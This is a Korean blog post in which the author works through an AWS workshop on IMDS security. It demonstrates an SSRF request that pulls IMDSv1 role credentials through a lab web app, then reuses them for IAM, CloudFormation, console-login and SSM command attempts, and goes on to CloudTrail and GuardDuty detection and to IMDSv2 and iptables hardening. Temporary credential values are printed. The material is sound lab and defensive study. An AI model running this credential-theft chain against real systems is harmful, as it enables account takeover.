Cloud & DevOps/AWS

[2주차] IAM 취약점 및 보안

백곰곰 2023. 9. 5. 21:35
728x90
반응형

이번주는 IAM 취약점 및 보안에 대해 스터디를 진행했습니다.

그 중 IMDS에 집중하여 내용 정리 및 워크샵을 진행해 보겠습니다.

 

IMDS(Instance Metadata Service)

AWS에서는 IMDS를 사용하여 인스턴스의 메타데이터를 획득할 수 있습니다.

기본적으로 ip, ami id 등 ec2 관련 정보와 iam 관련 정보를 확인할 수 있습니다.

 

IMDSv1 사용 예시

[ec2-user@My-EC2 ~]$ curl -s http://169.254.169.254/latest/meta-data/
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/

 

IMDSv2 사용 예시

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/
...
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
* Closing connection 0

ec2에 IAM profile이 있는 상태라면, metadata를 통해 임시 credential까지 획득이 가능합니다.

[ec2-user@My-EC2 ~]$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
role-readonly
[ec2-user@My-EC2 ~]$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/role-readonly
{
  "Code" : "Success",
  "LastUpdated" : "2023-09-04T13:10:35Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIAVTPII2CIOCFDFVCI",
  "SecretAccessKey" : "BKQHEN6Ni+VozViLEo9nvgIdjfomej0fB/YUTiSg",
  "Token" : "IQoJb3JpZ2luX2VjEG0aDmFwLW5vcnRoZWFzdC0yIkgwRgIhAPEbjlf9JX741VKfWTh5fHxdQuXS+yFgNQVlfUeOqM8YAiEA2P0t28MpV6k9sOCC4AoRkayCboRD6+v8NHM2AzSQpyQqyAUIRhADGgwzODU0MjM1NjA4NDgiDC43AsTdy8tdBPvX1iqlBWH1PymxtOqcRrd+Up+mGCeY/yV+9bMUVL83w078Tl5kDetywMg5xVQ7ZQORU84L/nbmBYu0QNLt5NjbIueRojekmDMDpNDoZx+gayy+ApT6jGYasZub04D8Msf9SnoBLZfLJAmevfqRyo5OrQk34RREdc/qaOZQPf8IqXHGs53K2SJNKuLohLR0b7OPotUo1lJs6JmD/tHdeARtfNRK11ZDZ05wuipnU/JvKQuTf90A4aeWofilmpo1HNLU02EazhnTB/v8IjncBuI2ujCbIAtggHWLDCAAmNjiX9oellt1TBmh9sYLcuRH7imrITUOm8hi7KHf8mugtxwEB92tBqDmL5ig2OwGPf6jHTOdKQpYR10laAJ4wQ2Jtx+A8L/djuQn7OMd4E3ZiPV0GzdGv41LHmb7X7nxidai3axaXV9Gva8ckAn4SFpSYP6XezIWLdRCsgWRQxVC9XV3c2rBmM1nx0+QrB00s4HwFXwlXON4399Z4zcYcSdSKIonyup7PieltXajJjw/aJbgGKfUBq0eVfdsZfJ6N2l1hoYMjt6cMcw7j0B+Hz5Bs+enWw6qZcGhmivMfj0uOVuQAf3PfUVIwMC/Ykq60jKn71gsLYHje8RxF/dOgfGqCBlhab0wbS/kiF4GoBPpgcUkb65ood/4c22BvbU2qcHJJtza7dwOHa5gn3L8O248syGUA/k8tP4F8Jkmj+pO0J/NkeDYg4FWm56QlNlM/0AKZOgx9gojAuIp0JjuB0cH65JAhEf+1BcCAd4LfmIpGJskOqdpu4huHby7WdSKhhcAltD6KPin3zMwlclRV3LreCuIBmOmX60JEkvJA0NpTv4g1e4Te2XhaHW6ijG2RiPHYRqwEMoJiKhBndga2kTyu40xbvv3QV5nM0MAMIWv16cGOrAB7iBJHBlsACjq0bg4t1I5UM9XC5dgivScd0HgQuyWsZ0XrEXxnvAKCiqqgfWceawfyeIkhBX1gxryno9LkOZHuEbyRx/Vwf1W72v0zycv7qSsqrx036Oq09EkFev1ejdMT4HVkcsdY/j/nWFhk8jCBKjY7t5AbVh97klfXh7gC9rm0xYDwhiJTerKaZBmBX3rUml91S4v5UAYDwRc3nGMmdLf6dDsWlywm00838Icj0M=",
  "Expiration" : "2023-09-04T19:46:33Z"
}

해당 IAM profile에 강력한 권한이 있다면, 큰 피해를 입을 수도 있습니다.

따라서 최근에는 IMDS 자체를 사용하지 않는 것을 권장하고, 만약 사용이 필요하다면 IMDSv1대신 IMDSv2를 사용하는 것을 권장합니다.

 

IMDSv1 사용 시 SSRF (Server Side Request Forgery)에 취약해 해당 워크샵을 진행해보겠습니다.

 

SSRF on IMDSv1 - Simulation and Detection (링크)

먼저 cloudformation 파일을 다운받고, 이를 배포합니다. 참고로 해당 워크샵은 N. Virginia 리전(us-east-1)에서만 동작합니다.

Stack name, ParamDatem myIP를 입력합니다.

myIP는 공인 IP이며 아래 명령어를 통해 쉽게 얻을 수 있습니다.

curl ipinfo.io/ip ;echo

CloudFormation 스택이 정상 배포되면, ALB, EC2 등의 자원이 생성된 것을 알 수 있습니다.

 

Simulation Part 1 - EC2 Instance Credential Compromise

생성된 ALB를 통해 메타데이터를 획득해 봅니다.

$ curl "http://ssrfw-WebAp-1NHIM6EZ8S83C-1700030134.us-east-1.elb.amazonaws.com/demo.php?site=http://169.254.169.254/latest/meta-data/"
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
reservation-id
security-groups
services/
system

iam role 이름을 확인하고, credential을 획득합니다.

$ curl "http://ssrfw-WebAp-1NHIM6EZ8S83C-1700030134.us-east-1.elb.amazonaws.com/demo.php?site=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
webdev
$ curl "http://ssrfw-WebAp-1NHIM6EZ8S83C-1700030134.us-east-1.elb.amazonaws.com/demo.php?site=http://169.254.169.254/latest/meta-data/iam/security-credentials/webdev"
{
  "Code" : "Success",
  "LastUpdated" : "2023-09-04T13:38:41Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIAVTPII2CIIXYXRJT5",
  "SecretAccessKey" : "o1NToiKp+7SW33ToIr+pvd0igme0Im0cZBdFkazi",
  "Token" : "IQoJb3JpZ2luX2VjEG4aCXVzLWVhc3QtMSJHMEUCIQCNCldlu/ylksmfyLzRB+6b7PR58Hoy6ERpCxZI63qrgAIgLOfgJw9XikKnU/1GRZtjO86GDBg0ivVzhR+lw4PNUDoqvQUIRxADGgwzODU0MjM1NjA4NDgiDEgf7Lsf+WXE0LusZCqaBfS8jYnmQL8S4aNxDmXhuc02Cb9DEK3EEXj8LzSjIYMrOaZu3epFs2fequ5FTzkxaxxE+aaVe+8DSfeFJQQVd7Zg8vTO51J3qaU4F/DMyY3LoGT8gbpuRnt1mRgWKuO8owvryxjJjO0p5nJMx6cJ0Bdxb9RMuQ4aXvYVUGLxBvDh25QHYZIvW9JlwFLPpWOP4h7OnJF6AviyVF/OXu/pQjlL/u+08T56kIaj5khTHz38Gdecam+ZF8/iJMzXVAAqeWof8E8hao6MOYMPd01hJh3CMzDZepV9vxaDsiGofR6XenjsI3+Pr8SgDdHEBaQ0tA7qo9lq43sjMeF0f3ktwYqTjng3YOWpBNn/C9bZwbLt3HbsQ2D7ywfkvA/1Vf533swYDRWZDjP5/BeW0W1yCNyWzmFnCz0+JSE9rO2CY76tVvgvhEGuo5A/DifFUt3rROVcJCtwzwpxruntO8YINHzkxY318WPQKNf58vQ/XPpQLKnpXCD0DF7t5SfFAJlTCR0S+rxt6ZyzeU+fMWLi7UAh+wjKeQKCIFmJvXEMwOd69p/wSBKt8wQPk9L5A8XmKh4+eSVPd2MkD9TQl3hWxr6kTkRc6DWYM2gXmuU1Z0w4rr3U0wT1SfO+u511CCNJBYJhLclVQSDCo8bUow8ih7v7N5vHcnSRUmYXUpwCL/cY3DJS1kUqLLJiQgKcI3kwRm7iRcIP6M3FccoZ5EztP6hJPZvxxfxj4+D4vaKSQpIGNo7Ds24XVfk6Bspb1PyAsSLGKvlOcPReEOFORt0V1wRS0pwFO6imLfQPNdonxdJK6gYyKoAYgUDcLaDWuCBfDk8a3/gOzGJXMrAu4oS77Et3/853yzynMB8h77TCJd3JBm9woqysfizDHDCru9enBjqxAXTI4S3dKcTOXj+cV6O2MUAtMwpRPpOX5kutUz4f0V/JGsMEqQyUQXxcqVyU/zACk3dw7ouKg+1dyoBN2GUS9jWVzOjfHNWa+6VRkauG6fkdsQnzZZiZoxxGmFZSxVx0sai/p2ABln11SjghTExk7EWxPBOmHSrOpQJvojP9K8bxPJKPq9yciEhsR39Na7Xp464o17gWtDAS9o0ybzcO/aeoGxoc0fIJ8I7iLM6eso4ejg==",
  "Expiration" : "2023-09-04T20:12:47Z"
}

이제 해당 credential을 사용해봅니다.

$ export AWS_ACCESS_KEY_ID=$(curl "http://ssrfw-WebAp-1NHIM6EZ8S83C-1700030134.us-east-1.elb.amazonaws.com/demo.php?site=http://169.254.169.254/latest/meta-data/iam/security-credentials/webdev" | jq -r '.AccessKeyId')
$ export AWS_SECRET_ACCESS_KEY=$(curl "http://ssrfw-WebAp-1NHIM6EZ8S83C-1700030134.us-east-1.elb.amazonaws.com/demo.php?site=http://169.254.169.254/latest/meta-data/iam/security-credentials/webdev" | jq -r '.SecretAccessKey')
$ export AWS_SESSION_TOKEN=$(curl "http://ssrfw-WebAp-1NHIM6EZ8S83C-1700030134.us-east-1.elb.amazonaws.com/demo.php?site=http://169.254.169.254/latest/meta-data/iam/security-credentials/webdev" | jq -r '.Token' )
$ aws sts get-caller-identity
{
    "UserId": "AROAVTPII2CIGAKVKYQX4:i-046d185a5b0b8e31b",
    "Account": "111122223333",
    "Arn": "arn:aws:sts::111122223333:assumed-role/webdev/i-046d185a5b0b8e31b"
}

해당 role에 어떤 정책이 있는지 살펴보고 싶었지만, 권한은 없습니다.

aws iam list-attached-role-policies --role-name webdev

An error occurred (AccessDenied) when calling the ListAttachedRolePolicies operation: User: arn:aws:sts::385423560848:assumed-role/webdev/i-046d185a5b0b8e31b is not authorized to perform: iam:ListAttachedRolePolicies on resource: role webdev because no identity-based policy allows the iam:ListAttachedRolePolicies action

다음 실습은 iam role에 어떤 권한이 있는지 모르니, 여러 시도를 해보는 실습입니다.

 

Simulation Part 2 - User Creation With Compromised Credentials

aws iam create-user --user-name adm1n

An error occurred (AccessDenied) when calling the CreateUser operation: User: arn:aws:sts::111122223333:assumed-role/webdev/i-046d185a5b0b8e31b is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::111122223333:user/adm1n because no identity-based policy allows the iam:CreateUser action

user 생성 권한은 없습니다.

 

Simulation Part 3 - Resource Creation Using CloudFormation

이번에는 CloudFormation stack을 생성해봅니다.

aws cloudformation create-stack --stack-name badstack --template-body file://Downloads/samplestack.template

An error occurred (AccessDenied) when calling the CreateStack operation: User: arn:aws:sts::111122223333:assumed-role/webdev/i-046d185a5b0b8e31b is not authorized to perform: cloudformation:CreateStack on resource: arn:aws:cloudformation:us-east-2:111122223333:stack/badstack/* because no identity-based policy allows the cloudformation:CreateStack action

이번에도 권한이 없습니다.

 

Simulation Part 4 - Console Login With Compromised Credentials

이번에는 콘솔 로그인 url을 획득해보겠습니다.

GetConsoleURL.py 파일을 다운로드받고 실행합니다.

이전에 획득한 credential을 입력하면, 콘솔 로그인 url이 나옵니다.

$ python3 GetConsoleURL.py
Enter Access Key ID: xxxx
Enter Secret Access Key: xxxx
Enter Session Token: xxxx
********************************************
* The URL to log in to the AWS console is: *
********************************************
https://signin.aws.amazon.com/federation?Action=login&Issuer=Example.org&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&xxxx...

해당 url로 접속하면, 별도의 로그인 절차 없이 콘솔로 바로 로그인할 수 있습니다.

Simulation Part 5 - Remote Code Execution Using Compromised Credentials

이번에는 ssm을 통해 원격 명령어를 실행해봅니다.

먼저 instance id를 획득하고 해당 인스턴스에 명령어를 전달해봅니다.

(scp로 제약을 걸어둔 상태라 deny 되었지만, 워크샵 내용을 보면 instance id를 획득하고 명령어를 실행하는 것을 볼 수 있습니다.)

$ aws ssm describe-instance-information --output text --query "InstanceInformationList[*]"

An error occurred (AccessDeniedException) when calling the DescribeInstanceInformation operation: User: arn:aws:sts::111122223333:assumed-role/webdev/i-046d185a5b0b8e31b is not authorized to perform: ssm:DescribeInstanceInformation on resource: arn:aws:ssm:us-east-2:111122223333:* with an explicit deny in a service control policy
$ aws ssm send-command --document-name "AWS-RunShellScript" --comment "RCE command 01: whoami" --targets "Key=instanceids,Values=i-046d185a5b0b8e31b" --parameters 'commands=whoami'

An error occurred (AccessDeniedException) when calling the SendCommand operation: User: arn:aws:sts::111122223333:assumed-role/webdev/i-046d185a5b0b8e31b is not authorized to perform: ssm:SendCommand on resource: arn:aws:ec2:us-east-2:385423560848:instance/i-046d185a5b0b8e31b with an explicit deny in a service control policy

다음으로는 위에서 시도한 행동들을 detection하는 방법입니다.

Detection Part 1: EC2 Instance Compromise

CloudWatch loggroup을 선택하고 쿼리를 실행하면 아래와 같은 결과를 얻을 수 있습니다.

각 메세지를 자세히 보면 어떤 정보를 요청했는지 확인할 수 있습니다.

참고로 여기에 나오는 remoteIP는 ALB의 private ip입니다.

실제 client ip를 찾으려면 ALB access log를 분석해야합니다.

 

Detection Part 2: User Creation With Compromised Credentials

이번에는 user 생성을 시도한 로그를 찾아봅니다.

해당 워크샵의 CloudFormation에서 이미 CloudTrail 로그를 athena로 조회가 가능하게 설정을 해두었습니다.

CloudTrail에서도 바로 검색이 가능해서 CloudTrail에서 검색을 해보겠습니다.

Detection Part 3: Resource Creation Using CloudFormation

CreateStack으로 검색하면, Simulation Part 3에서 시도한 로그를 확인할 수 있습니다.

만약 로그가 안보인다면, 로컬에 default region이 어디로 설정되어있는지 확인하고, 해당 리전의 cloudtrail 로그를 확인하면 됩니다.

 

Detection Part 4: Console Login With Compromised Credentials

ConsoleLogin으로 검색하면, instancd id로 로그인을 시도한 로그를 확인할 수 있습니다.

 

Detection Part 5: Remote Code Execution Using Compromised Credentials

GuardDuty를 확인해보면, AWS 외부에서 Credential을 획득하여 사용한 정황을 확인할 수 있습니다.

보안 강화하기

워크샵에는 포함되어있지 않은, 추가적인 실습을 진행해보겠습니다.

 

1. IMDSv2 사용

해당 취약점이 IMDSv1을 사용하여 발생하는 것이기 때문에, 이번에는 EC2의 설정을 IMDSv2만 사용하게 바꿔보겠습니다.

다시 앞서 실행한 metadata 조회 명령어를 실행하면, 이번에는 아무 정보도 나오지 않는 것을 볼 수 있습니다.

$ curl "http://ssrfw-WebAp-1NHIM6EZ8S83C-1700030134.us-east-1.elb.amazonaws.com/demo.php?site=http://169.254.169.254/latest/meta-data/"

IMDSv2는 AWS 내부에서 169.254.169.254에 접근하여 토큰을 받아야 사용이 가능하기 때문에, 실습과 같은 취약점을 예방할 수 있습니다.

 

2. iptables로 access 제한 (링크)

위 설정(IMDSv2 강제)을 원복하고 metadata에 접근이 가능한지 확인합니다.

(저는 리소스들을 삭제 후 재생성하여 ALB endpoint가 변경되었습니다.)

$ curl "http://ssrfw-WebAp-1VU976QMNIKOY-385386750.us-east-1.elb.amazonaws.com/demo.php?site=http://169.254.169.254/latest/meta-data"
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
reservation-id
security-groups
services/
system

ALB에 연결된 EC2에 접속하여 httpd가 어느 계정으로 실행 중인지 확인합니다.

[root@ip-192-168-0-14 ~]# ps -ef | grep http
root      3787     1  0 12:10 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND
apache    3797  3787  0 12:10 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND
apache    3798  3787  0 12:10 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND
apache    3799  3787  0 12:10 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND
apache    3800  3787  0 12:10 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND

apache 계정을 사용하고 있기 때문에 링크의 명령어를 참고하여 apache user가 169.254.169.254에 접근할 수 없게 iptable에 설정합니다.

차단된 로그를 확인하기 위해서 rule을 추가했습니다.

$ iptables --append OUTPUT --proto tcp --destination 169.254.169.254 --match owner --uid-owner apache --jump LOG --log-prefix "Denied AWS Metadata Access: "
$ iptables --append OUTPUT --proto tcp --destination 169.254.169.254 --match owner --uid-owner apache --jump REJECT

이제 다시 metadata 접근이 가능한지 확인합니다.

$ curl "http://ssrfw-WebAp-1VU976QMNIKOY-385386750.us-east-1.elb.amazonaws.com/demo.php?site=http://169.254.169.254/latest/meta-data"

명령어 실행 시 아무런 결과가 나오지 않는 것을 확인할 수 있습니다.

또한 EC2의 /var/log/messages 로그를 확인하면 차단된 로그를 확인할 수 있습니다.

$ tail -f /var/log/messages
...
Sep  5 12:27:36 ip-192-168-0-14 kernel: Denied AWS Metadata Access: IN= OUT=eth0 SRC=192.168.0.14 DST=169.254.169.254 LEN=60 TOS=0x00 PREC=0x00 TTL=255 ID=27284 DF PROTO=TCP SPT=38220 DPT=80 WINDOW=26883 RES=0x00 SYN URGP=0 
Sep  5 12:27:37 ip-192-168-0-14 kernel: Denied AWS Metadata Access: IN= OUT=eth0 SRC=192.168.0.14 DST=169.254.169.254 LEN=60 TOS=0x00 PREC=0x00 TTL=255 ID=27285 DF PROTO=TCP SPT=38220 DPT=80 WINDOW=26883 RES=0x00 SYN URGP=0 
Sep  5 12:27:45 ip-192-168-0-14 dhclient[2809]: XMT: Solicit on eth0, interval 117080ms.
qSep  5 12:29:42 ip-192-168-0-14 dhclient[2809]: XMT: Solicit on eth0, interval 129680ms.

 

마무리

IMDSv1 사용 시 취약점을 워크샵을 통해 확인하고, 이를 회피할 수 있는 방법에 대해 정리해보았습니다.

 

마지막으로 IMDSv1 취약점 활용의 대표적인 사례로 캐피탈원 사건이 있는데, 해당 내용이 정리된 동영상이 있어 첨부합니다. 

링크

728x90